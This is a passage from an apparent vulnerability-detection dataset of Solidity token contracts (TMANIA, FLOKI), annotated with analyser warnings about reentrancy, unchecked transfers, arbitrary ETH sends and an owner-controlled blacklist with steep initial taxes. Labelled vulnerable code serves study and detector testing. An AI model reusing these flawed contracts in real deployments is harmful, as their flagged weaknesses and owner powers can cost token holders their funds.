_reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c5c06b3\n\t\t\t\t// reentrancy-eth | ID: 34ca596\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c5c06b3\n\t\t\t\t\t// reentrancy-eth | ID: 34ca596\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 34ca596\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 34ca596\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 34ca596\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c5c06b3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 34ca596\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 34ca596\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c5c06b3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c5c06b3\n\t\t// reentrancy-events | ID: b2faf1e\n\t\t// reentrancy-benign | ID: a37d987\n\t\t// reentrancy-eth | ID: 34ca596\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c6212b5): TMANIA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for c6212b5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c5c06b3\n\t\t// reentrancy-events | ID: b2faf1e\n\t\t// reentrancy-eth | ID: 34ca596\n\t\t// arbitrary-send-eth | ID: c6212b5\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5a3c2cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5a3c2cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ba80d7d): TMANIA.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ba80d7d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8b2ba2a): TMANIA.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8b2ba2a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 84184cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 84184cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5a3c2cb\n\t\t// reentrancy-eth | ID: 84184cc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5a3c2cb\n\t\t// unused-return | ID: 8b2ba2a\n\t\t// reentrancy-eth | ID: 84184cc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5a3c2cb\n\t\t// unused-return | ID: ba80d7d\n\t\t// reentrancy-eth | ID: 84184cc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5a3c2cb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 84184cc\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 02ae2de): TMANIA.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 02ae2de: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 02ae2de\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10897.sol",
"size_bytes": 20837,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FLOKI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3e19ee6): FLOKI.bots is never initialized. It is used in FLOKI._transfer(address,address,uint256)\n\t// Recommendation for 3e19ee6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 85b7a9e): FLOKI._taxWallet should be immutable \n\t// Recommendation for 85b7a9e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25e6fc6): FLOKI._initialBuyTax should be constant \n\t// Recommendation for 25e6fc6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67a955f): FLOKI._initialSellTax should be constant \n\t// Recommendation for 67a955f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a1315a): FLOKI._reduceBuyTaxAt should be constant \n\t// Recommendation for 3a1315a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6eaa4b): FLOKI._reduceSellTaxAt should be constant \n\t// Recommendation for d6eaa4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3559b39): FLOKI._preventSwapBefore should be constant \n\t// Recommendation for 3559b39: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"FEDERAL LEADERSHIP OFFICE OF KEY INITIATIVES INNOVATIVE NFT UNIVERSE\";\n\n string private constant _symbol = unicode\"F.L.O.K.I. I.N.U.\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3ca7e4): FLOKI._taxSwapThreshold should be constant \n\t// Recommendation for b3ca7e4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03e35b8): FLOKI._maxTaxSwap should be constant \n\t// Recommendation for 03e35b8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37b7873): FLOKI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37b7873: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b1fa903): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b1fa903: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6848776): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6848776: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b1fa903\n\t\t// reentrancy-benign | ID: 6848776\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b1fa903\n\t\t// reentrancy-benign | ID: 6848776\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 40e6643): FLOKI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 40e6643: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6848776\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b1fa903\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b9bcb84): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b9bcb84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3e19ee6): FLOKI.bots is never initialized. It is used in FLOKI._transfer(address,address,uint256)\n\t// Recommendation for 3e19ee6: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f6ca74e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f6ca74e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b9bcb84\n\t\t\t\t// reentrancy-eth | ID: f6ca74e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b9bcb84\n\t\t\t\t\t// reentrancy-eth | ID: f6ca74e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f6ca74e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f6ca74e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f6ca74e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b9bcb84\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f6ca74e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f6ca74e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b9bcb84\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b9bcb84\n\t\t// reentrancy-events | ID: b1fa903\n\t\t// reentrancy-benign | ID: 6848776\n\t\t// reentrancy-eth | ID: f6ca74e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c5ffb7f): FLOKI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for c5ffb7f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b9bcb84\n\t\t// reentrancy-events | ID: b1fa903\n\t\t// reentrancy-eth | ID: f6ca74e\n\t\t// arbitrary-send-eth | ID: c5ffb7f\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6af93fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6af93fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8865617): FLOKI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8865617: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 45378d1): FLOKI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 45378d1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9af88b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9af88b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6af93fd\n\t\t// reentrancy-eth | ID: 9af88b4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6af93fd\n\t\t// unused-return | ID: 8865617\n\t\t// reentrancy-eth | ID: 9af88b4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6af93fd\n\t\t// unused-return | ID: 45378d1\n\t\t// reentrancy-eth | ID: 9af88b4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6af93fd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9af88b4\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 96b8486): FLOKI.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 96b8486: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 96b8486\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10898.sol",
"size_bytes": 21156,
"vulnerability": 4
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.